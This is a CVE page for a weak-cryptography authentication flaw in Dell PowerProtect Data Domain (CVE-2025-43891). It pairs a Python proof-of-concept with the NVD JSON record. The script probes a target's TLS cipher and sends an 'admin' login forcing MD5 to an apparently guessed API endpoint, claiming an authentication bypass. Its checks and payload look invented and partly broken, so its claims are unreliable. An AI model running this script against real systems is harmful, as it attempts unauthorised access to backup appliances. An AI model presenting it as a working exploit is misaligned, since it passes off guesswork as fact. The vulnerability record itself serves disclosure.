CVE-2025-43891

# CVE-2025-43891 PoC - Dell PowerProtect Data Domain Broken Cryptographic Algorithm # This PoC demonstrates the concept of exploiting weak cryptographic algorithms # in the authentication mechanism of Dell PowerProtect Data Domain import socket import ssl import hashlib import requests from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) TARGET_HOST = "target-powerprotect.example.com" TARGET_PORT = 443 AUTH_ENDPOINT = "/api/v1/auth" def detect_weak_crypto(target_host, target_port): """ Detect weak cryptographic algorithms in the authentication endpoint by analyzing the SSL/TLS certificate and supported cipher suites. """ print(f"[*] Connecting to {target_host}:{target_port}") try: # Check SSL/TLS configuration for weak ciphers context = ssl.create_default_context() with socket.create_connection((target_host, target_port), timeout=10) as sock: with context.wrap_socket(sock, server_hostname=target_host) as ssock: cipher_info = ssock.cipher() print(f"[*] Negotiated cipher: {cipher_info}") # Check for weak algorithms weak_algorithms = ['MD5', 'SHA1', 'DES', '3DES', 'RC4', 'NULL', 'EXPORT'] for weak in weak_algorithms: if weak.lower() in cipher_info[0].lower(): print(f"[!] VULNERABLE: Weak algorithm detected: {weak}") return True except Exception as e: print(f"[-] SSL connection error: {e}") return False def exploit_auth_bypass(target_host): """ Attempt to exploit the broken cryptographic algorithm in the authentication mechanism. """ url = f"https://{target_host}{AUTH_ENDPOINT}" # Craft authentication request exploiting weak crypto headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } # Attempt downgrade attack on authentication payload = { "username": "admin", "algorithm": "MD5", # Force weak algorithm "challenge": "test" } try: response = requests.post(url, json=payload, headers=headers, verify=False, timeout=10) print(f"[*] Response status: {response.status_code}") if response.status_code == 200: print("[!] Authentication bypass may be possible") print(f"[*] Response: {response.text[:500]}") return response except Exception as e: print(f"[-] Exploit error: {e}") return None def main(): print("=" * 60) print("CVE-2025-43891 PoC") print("Dell PowerProtect Data Domain Broken Crypto Vulnerability") print("=" * 60) # Step 1: Detect weak cryptographic algorithms if detect_weak_crypto(TARGET_HOST, TARGET_PORT): print("\n[*] Target appears vulnerable. Attempting exploitation...") # Step 2: Attempt authentication bypass exploit_auth_bypass(TARGET_HOST) else: print("\n[-] Target does not appear to be vulnerable") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-43891", "sourceIdentifier": "[email protected]", "published": "2025-10-07T19:15:36.960", "lastModified": "2025-10-14T20:11:20.250", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dell PowerProtect Data Domain with Data Domain Operating System (DD OS) of Feature Release versions 7.7.1.0 through 8.3.0.15, LTS2025 release version 8.3.1.0, LTS2024 release versions 7.13.1.0 through 7.13.1.30, LTS 2023 release versions 7.10.1.0 through 7.10.1.60, contain an use of a Broken or Risky Cryptographic Algorithm vulnerability in the Authentication. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Information disclosure."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-327"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.7.1.0", "versionEndExcluding": "7.10.1.70", "matchCriteriaId": "7FCE50EA-F2B8-4455-A489-1947B0CBFEEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.13.1.0", "versionEndExcluding": "7.13.1.40", "matchCriteriaId": "C0EA46C5-6776-411A-8FBC-5B32BC216888"}, {"vulnerable": true, "criteria": "cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.3.0.0", "versionEndIncluding": "8.3.0.15", "matchCriteriaId": "F1DB489A-E2CF-4477-A08B-101B569A714E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.3.1.0", "versionEndExcluding": "8.3.1.10", "matchCriteriaId": "9E0743E3-14E7-4FF9-88C5-E038D62F2344"}]}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000376224/dsa-2025-333-security-update-for-dell-powerprotect-data-domain-multiple-vulnerabilities", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}